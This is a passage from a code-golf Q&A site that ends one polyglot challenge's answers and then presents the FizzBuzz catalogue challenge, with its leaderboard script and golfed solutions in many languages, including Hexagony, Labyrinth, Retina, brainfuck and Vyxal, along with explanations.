h > ; i ; l ; t ; + 3 2 ; f \\\n ; / ; s ; 2 3 + ; r ; o ; < \n T > e ; d ; @ . . . . . .\n . . . . . . . . . . . .\n . . . . . . . . . . .\n . . . . . . . . . .\n```\n[Answer]\n# [///](http://esolangs.org/wiki////) and [Retina](https://github.com/mbuettner/retina), 95 + 3 = 98 bytes\n```\n/\n//\nThis program wasn't written in \\/\\/\\/, it was built for Retina!\n/?./....(.*)(R.*)!\n$2$1///!\n```\n+3 bytes for the `-s` flag in Retina.\n## Explanation for ///\nThe first instruction is\n```\n/\n//\n```\nremoves all newlines from the rest of the code, resulting in\n```\nThis program wasn't written in \\/\\/\\/, it was built for Retina!/?./....(.*)(R.*)!$2$1///!\n```\nEverything up to the `!` is just a literal and printed to STDOUT. The next instruction is\n```\n/?./....(.*)(R.*)!$2$1/\n```\nBut the search string `?.` cannot be found, so nothing happens. Then the remaining code is `//!` which is an incomplete instruction so the program terminates, having printed the correct string.\n## Explanation for Retina\n```\n/\n//\n```\nThis tells Retina to replace `/` with `//`. But the input is empty, so this doesn't match anything.\n```\n\nThis program wasn't written in \\/\\/\\/, it was built for Retina!\n```\nThis replaces the input with the string in the second line.\n```\n/?./....(.*)(R.*)!\n$2$1///!\n```\nThis matches the string `\\/\\/\\/, it was built for Retina!` and replaces it with `Retina, it was built for ///!` to give the correct result.\n[Answer]\n# Python/QBasic, ~~160~~ 142 bytes\nTested with [Python 3](https://tio.run/##HcqxCsJAEATQ/r5iXIsonoVYhhQGFWwkxvzAnqhZ0MtxWQl@/WlSDMzwJny17fw2pc0c@8Px2tTYrUvDKECXknu5kXHjqKYjmSzL2brCWc6r@nRuihDFq5k6FtS00iPE7hn5jYF7nymGKKp3D/EgrMD/kIXo6HAfeSkeXZzMjTajZUo/) and [QBasic 1.1](https://archive.org/details/msdos_qbasic_megapack). Won't work in Python 2 without adding `from __future__ import print_function` to line 4.\n```\n1# DEFSTR A-B\na = \"QBasic\"\nb = \"Python\"\n'';a,b=b,a;PRINT=print\nPRINT (\"This program wasn't written in \" + a + \", it was built for \" + b + \"!\")\n```\n* In Python, `1#` is the expression `1` (no-op) followed by a comment. In QBasic, it's a line number (with the type suffix marking it as a `DOUBLE`). The `DEFSTR` statement tells QBasic that all variables whose names start with `A` or `B` (case-insensitive) are string variables. That way, we can call our variables `a` and `b` instead of `a$` and `b$` (which wouldn't work in Python).\n* In QBasic, `'` begins a comment. In Python, `''` is the empty string (no-op). Then we swap the language names and define an alias for the `print` function (since QBasic keywords are auto-formatted to uppercase).\n* The parentheses on the final line aren't necessary in QBasic, but don't hurt anything either.\nIf I'm allowed to turn off the autoformatter (which is an option in [QB64](http://qb64.net), though not in the original QBasic), I can get it down to **114 bytes** using [Python 2](https://tio.run/##Hcq7DsIwDEDRPV9hzJAh6QArykAFzDz6Aw4CagmSyHFV8fXhsd5zy1vHnNatrZa7/eEynGHb9YYCnnqqfEUTAx7/DxprN@RjiJ5MEU6Kw8gViuSH0AtmqskqzMKqtwScAB059MD6M4gTPxXuWb49Olxgax8):\n```\n1#DEFSTR A-B\na=\"QBasic\"\nb=\"Python\"\n'';a,b=b,a\nprint\"This program wasn't written in \"+a+\", it was built for \"+b+\"!\"\n```\n[Answer]\n# Perl/Ruby, 129 bytes\n```\n0&&eval('def sort a,b;[b,a] end');printf\"This program wasn't written in %s, it was built for %s!\",(@a=sort\"Perl\",\"Ruby\")[0],@a[1]\n```\nNo regular expression abuse in this one, just making the most of the fact that 0 is truthy in Ruby to `eval` a definition for `sort` (which actually `reverse`s) and `printf`ing. Ruby didn't like using the list for the arguments, so I had to do each one individually.\n[Answer]\n# Python / Retina, ~~133~~ ~~120~~ ~~119~~ ~~117~~ 115 bytes\nNow that I know more about Retina and regexes, I've golfed it a bit more. It also actually works now.\n```\n#?.*\nprint\"This program wasn't written in Python, it was built for Retina!\"\n#?.*t\"\n#?(\\w+)(,.* )(.+)!\"\n#$3$2$1!\n#\n```\nPython just prints the statement. Retina replaces anything with the Python print statement, then removes the `print` and any quotes. Then, I swap `Python` and `Retina` and remove the `#`.\n[**Try in Python**](https://repl.it/CDNg/3) | [**Try in Retina**](http://retina.tryitonline.net/#code=Iz8uKgpwcmludCJUaGlzIHByb2dyYW0gd2Fzbid0IHdyaXR0ZW4gaW4gUHl0aG9uLCBpdCB3YXMgYnVpbHQgZm9yIFJldGluYSEiCiM_Lip0IgoKIz8oXHcrKSgsLiogKSguKykhIgojJDMkMiQxIQojCg&input=)\n[Answer]\n# JavaScript/CoffeeScript, ~~125~~ 124 bytes\n```\nconsole.log(\"This program wasn't written in\",(a=['Coffee','Java'])[+(b=0=='0')]+\"Script, it was built for\",a[b^1]+\"Script!\")\n```\nIn CoffeeScript, `a==b` is compiled down to `a===b`, which makes the intermediate condition false. I used a bit of magic to convert the boolean value to an integer.\nSaved 1 byte thanks to @DomHastings!\n## 125-byte version:\n```\nconsole.log(\"This program wasn't written in\",(a=['Coffee','Java'])[(b=0=='0')+0]+\"Script, it was built for\",a[b^1]+\"Script!\")\n```\n]"}}},{"rowIdx":35,"cells":{"text":{"kind":"string","value":"[Question]\n [\n## Introduction\nIn our recent effort to collect catalogues of shortest solutions for standard programming exercises, here is PPCG's first ever vanilla FizzBuzz challenge. If you wish to see other catalogue challenges, there is [\"Hello World!\"](https://codegolf.stackexchange.com/questions/55422/hello-world) and [\"Is this number a prime?\"](https://codegolf.stackexchange.com/questions/57617/is-this-number-a-prime).\n## Challenge\nWrite a program that prints the decimal numbers from 1 to 100 inclusive. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”.\n## Output\nThe output will be a list of numbers (and Fizzes, Buzzes and FizzBuzzes) separated by a newline (either `\\n` or `\\r\\n`). A trailing newline is acceptable, but a leading newline is not. Apart from your choice of newline, the output should look exactly like this:\n```\n1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\nBuzz\n11\nFizz\n13\n14\nFizzBuzz\n16\n17\nFizz\n19\nBuzz\nFizz\n22\n23\nFizz\nBuzz\n26\nFizz\n28\n29\nFizzBuzz\n31\n32\nFizz\n34\nBuzz\nFizz\n37\n38\nFizz\nBuzz\n41\nFizz\n43\n44\nFizzBuzz\n46\n47\nFizz\n49\nBuzz\nFizz\n52\n53\nFizz\nBuzz\n56\nFizz\n58\n59\nFizzBuzz\n61\n62\nFizz\n64\nBuzz\nFizz\n67\n68\nFizz\nBuzz\n71\nFizz\n73\n74\nFizzBuzz\n76\n77\nFizz\n79\nBuzz\nFizz\n82\n83\nFizz\nBuzz\n86\nFizz\n88\n89\nFizzBuzz\n91\n92\nFizz\n94\nBuzz\nFizz\n97\n98\nFizz\nBuzz\n```\nThe only exception to this rule is constant output of your language's interpreter that cannot be suppressed, such as a greeting, ANSI color codes or indentation.\n## Further Rules\n* This is not about finding the language with the shortest approach for playing FizzBuzz, this is about finding the shortest approach in every language. Therefore, no answer will be marked as accepted.\n* Submissions are scored in bytes in an appropriate preexisting encoding, usually (but not necessarily) UTF-8. Some languages, like Folders, are a bit tricky to score--if in doubt, please ask on Meta.\n* Nothing can be printed to STDERR.\n* Feel free to use a language (or language version) even if it's newer than this challenge. If anyone wants to abuse this by creating a language where the empty program generates FizzBuzz output, then congrats for paving the way for a very boring answer.\nNote that there must be an interpreter so the submission can be tested. It is allowed (and even encouraged) to write this interpreter yourself for a previously unimplemented language.\n* If your language of choice is a trivial variant of another (potentially more popular) language which already has an answer (think BASIC or SQL dialects, Unix shells or trivial Brainfuck derivatives like Alphuck and ???), consider adding a note to the existing answer that the same or a very similar solution is also the shortest in the other language.\n* Because the output is fixed, you may hardcode the output (but this may not be the shortest option).\n* You may use preexisting solutions, as long as you credit the original author of the program.\n* Standard loopholes are otherwise disallowed.\nAs a side note, please don't downvote boring (but valid) answers in languages where there is not much to golf; these are still useful to this question as it tries to compile a catalogue as complete as possible. However, do primarily upvote answers in languages where the authors actually had to put effort into golfing the code.\n## Catalogue\n```\nvar QUESTION_ID=58615;var ANSWER_FILTER=\"!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe\";var COMMENT_FILTER=\"!)Q2B_A2kjfAiU78X(md6BoYk\";var OVERRIDE_USER=30525;var answers=[],answers_hash,answer_ids,answer_page=1,more_answers=true,comment_page;function answersUrl(index){return\"https://api.stackexchange.com/2.2/questions/\"+QUESTION_ID+\"/answers?page=\"+index+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+ANSWER_FILTER}function commentUrl(index,answers){return\"https://api.stackexchange.com/2.2/answers/\"+answers.join(';')+\"/comments?page=\"+index+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:\"get\",dataType:\"jsonp\",crossDomain:true,success:function(data){answers.push.apply(answers,data.items);answers_hash=[];answer_ids=[];data.items.forEach(function(a){a.comments=[];var id=+a.share_link.match(/\\d+/);answer_ids.push(id);answers_hash[id]=a});if(!data.has_more)more_answers=false;comment_page=1;getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:\"get\",dataType:\"jsonp\",crossDomain:true,success:function(data){data.items.forEach(function(c){if(c.owner.user_id===OVERRIDE_USER)answers_hash[c.post_id].comments.push(c)});if(data.has_more)getComments();else if(more_answers)getAnswers();else process()}})}getAnswers();var SCORE_REG=/\\s*([^\\n,<]*(?:<(?:[^\\n>]*>[^\\n<]*<\\/[^\\n>]*>)[^\\n,<]*)*),.*?(\\d+)(?=[^\\n\\d<>]*(?:<(?:s>[^\\n<>]*<\\/s>|[^\\n<>]+>)[^\\n\\d<>]*)*<\\/h\\d>)/;var OVERRIDE_REG=/^Override\\s*header:\\s*/i;function getAuthorName(a){return a.owner.display_name}function process(){var valid=[];answers.forEach(function(a){var body=a.body;a.comments.forEach(function(c){if(OVERRIDE_REG.test(c.body))body='

'+c.body.replace(OVERRIDE_REG,'')+'

'});var match=body.match(SCORE_REG);if(match)valid.push({user:getAuthorName(a),size:+match[2],language:match[1],link:a.share_link,});else console.log(body)});valid.sort(function(a,b){var aB=a.size,bB=b.size;return aB-bB});var languages={};var place=1;var lastSize=null;var lastPlace=1;valid.forEach(function(a){if(a.size!=lastSize)lastPlace=place;lastSize=a.size;++place;var answer=jQuery(\"#answer-template\").html();answer=answer.replace(\"{{PLACE}}\",lastPlace+\".\").replace(\"{{NAME}}\",a.user).replace(\"{{LANGUAGE}}\",a.language).replace(\"{{SIZE}}\",a.size).replace(\"{{LINK}}\",a.link);answer=jQuery(answer);jQuery(\"#answers\").append(answer);var lang=a.language;lang=jQuery(''+lang+'').text();languages[lang]=languages[lang]||{lang:a.language,lang_raw:lang.toLowerCase(),user:a.user,size:a.size,link:a.link}});var langs=[];for(var lang in languages)if(languages.hasOwnProperty(lang))langs.push(languages[lang]);langs.sort(function(a,b){if(a.lang_raw>b.lang_raw)return 1;if(a.lang_raw

Shortest Solution by Language

LanguageUserScore

Leaderboard

AuthorLanguageSize
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n \n[Answer]\n# [Hexagony](https://github.com/mbuettner/hexagony), 91 bytes\nThanks for the bounty :)\nWow, I would never have imagined I could beat [Martin’s Hexagony solution](https://codegolf.stackexchange.com/a/63344/34718).\nBut—who would have thunk it—I got it done. After several days of failure because I neither had the Hexagony colorer nor the [EsotericIDE](https://github.com/Timwi/EsotericIDE) to check my solution. I got several aspects of the specification wrong, so I produced a few wrong “solutions” just using pen and paper and a text editor.\nWell, finally I overcame my laziness and cloned both repositories, downloaded VisualStudio and compiled them. Wow, what useful tools they are! As you can see, I am far from being someone you’d call a programmer (I mean, come on! I didn’t even have VisualStudio installed, and have pretty much no clue about how to compile a program) ;)\nIt still took me a while to find a working solution, and it is quite crammed and chaotic, but here it is in all its glory:\nFizzbuzz in a size 6 hexagon:\n```\n3}1\"$.!$>)}g4_.{$'))\\<$\\.\\.@\\}F\\$/;z;u;<%<_>_..$>B/<>}))'%<>{>;e\"-.\\;.z;i;..>(('\n```\nHexagonal layout:\n```\n 3 } 1 \" $ .\n ! $ > ) } g 4\n _ . { $ ' ) ) \\\n < $ \\ . \\ . @ \\ }\n F \\ $ / ; z ; u ; <\n % < _ > _ . . $ > B /\n < > } ) ) ' % < > {\n > ; e \" - < / _ %\n ; \\ / { } / > .\n \\ ; . z ; i ;\n . . > ( ( '\n```\nAnd the beautiful rendition, thanks to Timwi’s [Hexagony Colorer](https://github.com/Timwi/HexagonyColorer):\n[![Colorized Hexagony FizzBuzz solution](https://i.stack.imgur.com/g4OgJ.png)](https://i.stack.imgur.com/g4OgJ.png)\nSo, here is a 110 seconds long GIF animation at 2 fps, showing the program flow during the first 6 numbers `1, 2, Fizz, 4, Buzz, Fizz`, the first 220 ticks of the program (click on the image for the full size):\n[![enter image description here](https://i.stack.imgur.com/Ciu3j.gif)](https://i.stack.imgur.com/Ciu3j.gif)\nMy goodness, thanks to the Natron compositing software the animation of the pointer was still tedious to create, but manageable. Saving 260 images of the memory was less amusing. Unfortunately EsotericIDE can’t do that automatically. Anyways, enjoy the animation!\nAfter all, once you wrap your head around the memory model and the rather counterintuitive wrapping of paths that cross the borders of the hexagon, Hexagony is not that hard to work with. But golfing it can be a pain in the butt. ;)\nIt was fun!\n[Answer]\n# [Python 2](https://docs.python.org/2/), 56 bytes\n```\ni=0;exec\"print i%3/2*'Fizz'+i%5/4*'Buzz'or-~i;i+=1;\"*100\n```\n[Try it online!](https://tio.run/##K6gsycjPM/r/P9PWwDq1IjVZqaAoM69EIVPVWN9IS90ts6pKXTtT1VTfREvdqRTIyS/Srcu0ztS2NbRW0jI0MPj/HwA \"Python 2 – Try It Online\")\n[Answer]\n# [Labyrinth](http://esolangs.org/wiki/Labyrinth), 94 bytes\n```\n\"):_1\n\\ } 01/3%70.105\n\" : @ \" .\n\" =\";_\"\"..:221\n+ _\n\"! 5%66.117\n_:= \" .\n=\"*{\"..:221\n```\nSub-100! This was a fun one.\n## Explanation\nLet's start with a brief primer on Labyrinth – feel free to skip this if you're already familiar with the basics:\n* Labyrinth has two stacks – a main stack and an auxiliary stack. Both stacks have an infinite number of zeroes at the bottom, e.g. `+` on an empty stack adds two zeroes, thus pushing zero.\n* Control flow in Labyrinth is decided by junctions, which look at the top of the stack to determine where to go next. Negative means turn left, zero means go straight ahead and positive means turn right... but if we hit a wall then we reverse direction. For example, if only straight ahead and turn left are possible but the top of the stack is positive, then since we can't turn right we turn left instead.\n* Digits in Labyrinth pop `x` and push `10*x + `, which makes it easy to build up large numbers. However, this means that we need an instruction to push 0 in order to start a new number, which is `_` in Labyrinth.\nNow let's get to the actual code!\n[![enter image description here](https://i.stack.imgur.com/o3HrUm.png)](https://i.stack.imgur.com/o3HrUm.png)\n### Red\nExecution starts from the `\"` in the top-left corner, which is a NOP. Next is `)`, which increments the top of the stack, pushing 1 on the first pass and incrementing `n` on every following pass.\nNext we duplicate `n` with `:`. Since `n` is positive, we turn right, executing `}` (shift top of main stack to auxiliary) and `:`. We hit a dead end, so we turn around and execute `}` and `:` once more, leaving the stacks like\n```\nMain [ n n | n n ] Aux\n```\nOnce again, `n` is positive and we turn right, executing `_101/` which divides `n` by 101. If `n` is 101 then `n/101 = 1` and we turn into the `@`, which terminates the program. Otherwise, our current situation is\n```\nMain [ n 0 | n n ] Aux\n```\n### Orange 1 (mod 3)\n`3` turns the top zero into a 3 (`10*0 + 3 = 3`) and `%` performs a modulo. If `n%3` is positive, we turn right into the yellow `\"`. Otherwise we perform `70.105.122:..`, which outputs `Fizz`. Note that we don't need to push new zeroes with `_` since `n%3` was zero in this case, so we can exploit the infinite zeroes at the bottom of the stack. Both paths meet up again at light blue.\n### Light blue\nThe top of the stack is currently `n%3`, which could be positive, so the `_;` just pushes a zero and immediately pops it to make sure we go straight ahead, instead of turning into the `@`. We then use `=` to swap the tops of the main and auxiliary stacks, giving:\n```\nMain [ n | n%3 n ] Aux\n```\n### Orange 2 (mod 5)\nThis is a similar situation to before, except that `66.117.122:..` outputs `Buzz` if `n%5` is zero.\n### Dark blue\nThe previous section leaves the stacks like\n```\nMain [ n%5 | n%3 n ] Aux\n```\n`{` shifts the `n%3` back to the main stack and `*` multiplies the two modulos.\nIf either modulo is zero, the product is zero so we go straight into yellow. `=` swaps the top of the stacks and `_` pushes a zero to make sure we go straight ahead, giving\n```\nMain [ n 0 | 0 ] Aux\n```\nOtherwise, if both modulos are nonzero, then the product is nonzero and we turn right into green. `=` swaps the tops of the stacks, giving\n```\nMain [ n | (n%5)*(n%3) ] Aux\n```\nafter which we use `:` to duplicate `n`, turn right, then use `!` to output `n`.\n### Purple\nAt this point, the main stack has either one or two items, depending on which path was taken. We need to get rid of the zero from the yellow path, and to do that we use `+`, which performs `n + 0` in some order for both cases. Finally, `\\` outputs a newline and we're back at the start.\nEach iteration pushes an extra `(n%5)*(n%3)` to the auxiliary stack, but otherwise we do the same thing all over again.\n[Answer]\n# Ruby, 50 bytes\nRequires version 1.8, which seems to be popular among golfers:\n```\n1.upto(?d){|n|puts'FizzBuzz\n'[i=n**4%-15,i+13]||n}\n```\nIn modern Ruby, you replace `?d` with `100` for a 51-byte solution.\nThis seems to be the world record.\n[Answer]\n# Perl 5, 49 bytes\n**46 bytes script + 3 bytes `-E\"...\"`**\nUsing `say` (which requires `-E\"...\"`) can reduce this further to 46 bytes since `say` automatically includes a newline (Thanks [@Dennis](https://codegolf.stackexchange.com/users/12012/dennis)!):\n```\nsay'Fizz'x!($_%3).Buzz x!($_%5)||$_ for 1..100\n```\n---\n# Perl 5, 50 bytes\n```\nprint'Fizz'x!($_%3).Buzz x!($_%5)||$_,$/for 1..100\n```\n[Answer]\n# [gs2](https://github.com/nooodl/gs2/), 1\n```\nf\n```\nA [quote](https://codegolf.stackexchange.com/a/55176/2537) from Mauris, the creator of gs2:\n> \n> I wanted to one-up [goruby](https://stackoverflow.com/a/64124/257418)'s 1-byte `Hello, world!`, so... This prints `\"1\\n2\\nFizz\\n4\\nBuzz\\n...\"`. :)\n> \n> \n> \n**Update**: Added 27-byte [answer](https://codegolf.stackexchange.com/a/58664/2537) that doesn't use `f`.\n[Answer]\n# Java, 130 bytes\nThis is for recent Java versions (7+). In older ones you can shave some more off using the `enum` trick, but I don't think the logic gets any shorter than this (86 inside `main`).\n```\nclass F{public static void main(String[]a){for(int i=0;i++<100;)System.out.println((i%3<1?\"Fizz\":\"\")+(i%5<1?\"Buzz\":i%3<1?\"\":i));}}\n```\n[Answer]\n# JavaScript, 62 bytes\n```\nfor(i=0;++i<101;console.log(i%5?f||i:f+'Buzz'))f=i%3?'':'Fizz'\n```\nI think I this is the shortest Javascript solution now.\n[Answer]\n## ArnoldC, 842 bytes\n```\nIT'S SHOWTIME\nHEY CHRISTMAS TREE a\nYOU SET US UP 100\nHEY CHRISTMAS TREE b\nYOU SET US UP 0\nHEY CHRISTMAS TREE r\nYOU SET US UP 0\nSTICK AROUND a\nGET TO THE CHOPPER b\nHERE IS MY INVITATION 101\nGET DOWN a\nENOUGH TALK\nGET TO THE CHOPPER r\nHERE IS MY INVITATION b\nI LET HIM GO 15\nENOUGH TALK\nBECAUSE I'M GOING TO SAY PLEASE r\nGET TO THE CHOPPER r\nHERE IS MY INVITATION b\nI LET HIM GO 3\nENOUGH TALK\nBECAUSE I'M GOING TO SAY PLEASE r\nGET TO THE CHOPPER r\nHERE IS MY INVITATION b\nI LET HIM GO 5\nENOUGH TALK\nBECAUSE I'M GOING TO SAY PLEASE r\nTALK TO THE HAND b\nBULLSHIT\nTALK TO THE HAND \"Buzz\"\nYOU HAVE NO RESPECT FOR LOGIC\nBULLSHIT\nTALK TO THE HAND \"Fizz\"\nYOU HAVE NO RESPECT FOR LOGIC\nBULLSHIT\nTALK TO THE HAND \"FizzBuzz\"\nYOU HAVE NO RESPECT FOR LOGIC\nGET TO THE CHOPPER a\nHERE IS MY INVITATION a\nGET DOWN 1\nENOUGH TALK\nCHILL\nYOU HAVE BEEN TERMINATED\n```\nFirst try at golfing, I think this is as bad as it gets (both language and golfing).\n[Answer]\n# Pyth, 30\n```\nVS100|+*!%N3\"Fizz\"*!%N5\"Buzz\"N\n```\n[Try it here](http://pyth.herokuapp.com/?code=VS100%7C%2B%2a%21%25N3%22Fizz%22%2a%21%25N5%22Buzz%22N&debug=0)\n### Explanation:\n```\nVS100|+*!%N3\"Fizz\"*!%N5\"Buzz\"N\nVS100 : for N in range(1,101)\n | : logical short-circuiting or\n +*!%N3\"Fizz\" : add \"Fizz\" * not(N % 3)\n : Since not gives True/False this is either \"\" or \"Fizz\"\n *!%N5\"Buzz\" : Same but with 5 and Buzz\n N : Otherwise N\n : The output of the | is implicitly printed with a newline\n```\n[Answer]\n## [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~317~~ ~~139~~ ~~134~~ ~~132~~ ~~70~~ ~~63~~ ~~60~~ 55 bytes\n```\n.100{`^\n_\n*\\(a`(___)+\nFi;$&\n\\b(_{5})+$\nBu;\n;_*\nzz\n'_&`.\n```\n[Try it online!](https://tio.run/##K0otycxLNPz/X8/QwKA6IY4rnksrRiMxQSM@Pl5Tm8st01pFjSsmSSO@2rRWU1uFy6nUmss6XourqopLPV4tQe//fwA \"Retina – Try It Online\")\n## Explanation\n```\n.100{`^\n_\n```\nThe `.` is the global silent flag which turns off implicit output at the end of the program. `100{` wraps the rest of the program in a loop which is executed for 100 iterations. Finally, the stage itself just inserts a `_` at the beginning of the string, which effectively increments a unary loop counter.\n```\n*\\(a`(___)+\nFi;$&\n```\nMore configuration. `*\\(` wraps the remainder of the program in a group, prints its result with a trailing linefeed, but also puts the entire group in a dry run, which means that its result will be discarded after printing, so that our loop counter isn't actually modified. `a` is a custom regex modifier which anchors the regex to the entire string (which saves a byte on using `^` and `$` explicitly).\nThe atomic stage itself takes care of `Fizz`. Divisibility by `3` can easily be checked in unary: just test if the number can be written as a repetition of `___`. If this is the case, we prepend `Fi;` to the string. The semicolon is so that there is still a word boundary in front of the number for the next stage. If we turned the line into `Fizz___...` the position between `z` and `_` would not be considered a boundary, because regex treats both letters and underscores as word characters. However, the semicolon also allows us to remove the `zz` duplication from `Fizz` and `Buzz`.\n```\n\\b(_{5})+$\nBu;\n```\nWe do the exact same for divisibility by `5` and `Bu;`, although we don't need to keep the `_`s around this time. So we would get a results like\n```\n_\n__\nFi;___\n____\nBu;\nFi;______\n...\nFi;Bu;\n...\n```\nThis makes it very easy to get rid of the underscores only in those lines which contain `Fizz`, while also filling in the `zz`s:\n```\n;_*\nzz\n```\nThat is, we turn each semicolon into `zz` but we also consume all the `_`s right after it. At this point we're done with FizzBuzz in unary. But the challenge wants decimal output.\n```\n'_&`.\n```\n`&` indicates a conditional: this stage is only executed if the string contains an underscore. Therefore, `Fizz`, `Buzz` and `FizzBuzz` iterations are left untouched. In all other iterations (i.e. those which are neither divisible by 3 nor 5), we just count the number of characters, converting the result to decimal.\n[Answer]\n## brainfuck, 206 bytes\n```\n++>+++++>>>>>++++++++++[>+>>+>>+>+<<<[++++<-<]<,<,-<-<++<++++[<++>++++++>]++>>]>\n[+[[<<]<[>>]+++<[<.<.<..[>]]<<-[>>>[,>>[<]>[--.++<<]>]]+++++<[+[-----.++++<<]>>+\n..<-[>]]<[->>,>+>>>->->.>]<<]<[>+<<<,<->>>+]<]\n```\nFormatted:\n```\n++>+++++>>>>>\n++++++++++[>+>>+>>+>+<<<[++++<-<]<,<,-<-<++<++++[<++>++++++>]++>>]\n>\n[\n +\n [\n [<<]\n <[>>]\n +++<\n [\n Fizz\n <.<.<..\n [>]\n ]\n <<-\n [\n >>>\n [\n ,>>[<]\n >[--.++<<]\n >\n ]\n ]\n +++++<\n [\n Buzz\n +[-----.++++<<]\n >>+..\n <-\n [>]\n ]\n <[->>,>+>>>->->.>]\n <<\n ]\n <[>+< <<,<->>>+]\n <\n]\n```\n[Try it online](https://tio.run/##PU7bCQMxDBvIjwmEFjH@6B0USqEfhc6fyjlaOQFHkWwd79vjdf@cz7XMaAMO7I@imH0MQA2FQMPhoUavrcLPbuyZ0SyrgoTFYQyFnMpiNxCiWa4LSSNSCnXde4b2iItNXx@0zDHJW0H6RGKokn1tmXiOmPCNXusL)\nThe memory layout is\n```\n0 a 122 105 70 b f 0 t d1 s d2 c d 10 0\n```\nwhere `f` cycles by 3, `b` cycles by 5, `d1` is ones digit, `d2` is tens digit, `s` is a flag for whether to print tens digit, `d` cycles by 10, `c` is copy space for `d`, `t` is working space that holds 0 or junk data or a flag for not-divisible-by-3, and `a` determines program termination by offsetting the pointer after Buzz has been printed 20 times.\n[Answer]\n# [Vyxal](https://github.com/Vyxal/Vyxal), `j`, 65 bits1, ~~18~~ ~~17~~ ~~14~~ ~~12~~ ~~11~~ 8.125 [bytes](https://github.com/Vyxal/Vyncode/blob/main/README.md)\n```\n₁ƛ₍₃₅kF½*∑∴\n```\n[Try it Online! (link is to bitstring)](https://vyxal.pythonanywhere.com/?v=1#WyJqISIsIiIsIjExMDAwMDEwMTEwMTExMDAwMTAwMDAxMDExMTEwMDEwMDEwMDEwMTExMTAwMDExMDExMDAxMDAxMTExMDAxMDAwIiwiIiwiIl0=)\nI refuse to be beaten by Arn, Ash and Fig. I absolutely will not be beaten by any of those languages. Vyxal forever lads.\nAnd yes, that really *is* 8.125 bytes. [We have a fractional byte encoding system now](https://github.com/Vyxal/Vyncode). The 65-bit bitstring can be found at the online link.\nThe program is presented as SBCS for convenience.\n## Explained\n```\n₁ƛ₍₃₅kF½*∑∴\n₁ # Push 100 to the stack\n ƛ # Over the range [1, 100], map: (we'll call the argument n)\n ₍₃₅ # [n % 3 == 0, n % 5 == 0] (call this X)\n kF # \"FizzBuzz\"\n ½ # [\"Fizz\", \"Buzz\"] # halve the string - split into two equal pieces\n *∑ # sum(X * ↑)\n ∴ # max(↑, n)\n # The -j flag joins on newlines before outputting\n```\nIf you want it flagless:\n## [Vyxal](https://github.com/Vyxal/Vyxal), 12 bytes\n```\n₁⟑₍₃₅kF½*∑∴,\n```\n[Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLigoHin5Higo3igoPigoVrRsK9KuKIkeKItCwiLCIiLCIiXQ==)\nSee how inconsequential flags are?\n## [Vyxal](https://github.com/Vyxal/Vyxal), 17 bytes\n```\n₁⟑35fḊ`₴ḟȦ↑`½*∑∴,\n```\nNo questionable built-ins, no flags, just plain legitimate fizzbuzz.\n[Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLigoHin5EzNWbhuIpg4oK04bifyKbihpFgwr0q4oiR4oi0LCIsIiIsIiJd)\n[Answer]\n# Perl 5, 45 bytes\n```\nsay((Fizz)[$_%3].(Buzz)[$_%5]or$_)for+1..100\n```\nRequires the `-E` option, counted as one. This must be run from the command line, i.e.:\n```\nperl -Esay((Fizz)[$_%3].(Buzz)[$_%5]or$_)for+1..100\n```\nQuotes around the command are unnecessary, if one avoids using spaces, or any other characters which can act as command line separators (`|`, `<`, `>`, `&`, etc.).\n---\n# Perl 5, 48 bytes\n```\nprint+(Fizz)[$_%3].(Buzz)[$_%5]||$_,$/for 1..100\n```\nIf command line options are counted as one each, `-l` would save one byte (by replacing `$/`). By [Classic Perlgolf Rules](http://thospel.home.xs4all.nl/golf/rules.html), however, this would count 3: one for the `-`, one for the `l`, and one for the necessary space.\n[Answer]\n# [beeswax](http://esolangs.org/wiki/Beeswax), ~~104~~ ~~89~~ 81 bytes\nDenser packing allowed for cutting off 8 more bytes.\n**Shortest solution (81 bytes), same program flow, different packing.**\n```\np?@<\np?{@b'gA<\np@`zzuB`d'%~5F@~P\"#\"_\"1F3~%'d`Fiz`b\n d;\"-~@~.<\n>?N@9P~0+d\n```\nChanging the concept enabled me to cut down the code by 15 bytes.\nI wanted to get rid of the double mod 5 test in the solution, so I implemented a flag.\nShort explanation:\nif `n%3=0` Fizz gets printed, and the flag gets set. The flag is realized simply by pushing the top lstack value onto the gstack (instruction `f`).\nIf `n%5=0`, then either `n%3=0`(FizzBuzz case) or `n%3>0`(Buzz case). In both cases, Buzz gets printed, and the flag reset by popping the stack until it’s empty (instruction `?`).\nNow the interesting cases:\nIf `n%5>0`, then either we had `n%3=0` (printing Fizz case, n must not be printed) or `n%3>0` (Fizz was not printed, so n has to be printed). Time to check the flag. This is realized by pushing the length of gstack on top of gstack (instruction `A`).\nIf `n%3 was 0` then the gstack length is >0.\nIf `n%3 was >0`, the gstack length is 0.\nA simple conditional jump makes sure n gets only printed if the length of gstack was 0.\nAgain, after printing any of n, Fizz, and/or Buzz and the newline, the gstack gets popped twice to make sure it’s empty. gstack is either empty `[]`, which leads to `[0]` after instruction `A` (push length of gstack on gstack), or it contains one zero (`[0]`,the result of n%3), which leads to `[0 1]`, as [0] has the length 1. Popping from an empty stack does not change the stack, so it’s safe to pop twice.\nIf you look closer you can see that, in principle, I folded\n```\n> q\nd`Fizz`f>\n```\ninto\n```\nN@9P~0+.~@~-\";~P\"#\"_\"1F3~%d\n```\nHexagonal layout:\n```\n q ? @ <\n q ? { @ b ' g A < p <\n p ? < @ ` z z u B ` b ' % ~ 5 F @ < f ` z z i F ` b ' <\n> N @ 9 P ~ 0 + . ~ @ ~ - \" ; ~ P \" # \" _ \" 1 F 3 ~ % d\n```\n---\nAnimation of the first 326 ticks at 2 fps, with local and global stacks, and output to STDOUT.\n[![beeswax FizzBuzz animation](https://i.stack.imgur.com/t04r8.gif)](https://i.stack.imgur.com/t04r8.gif)\n---\nFor comparison, below are the path overlays of the older, more complex solution. Maybe it’s also the prettier solution, from a visual standpoint ;)\n[![Program with path 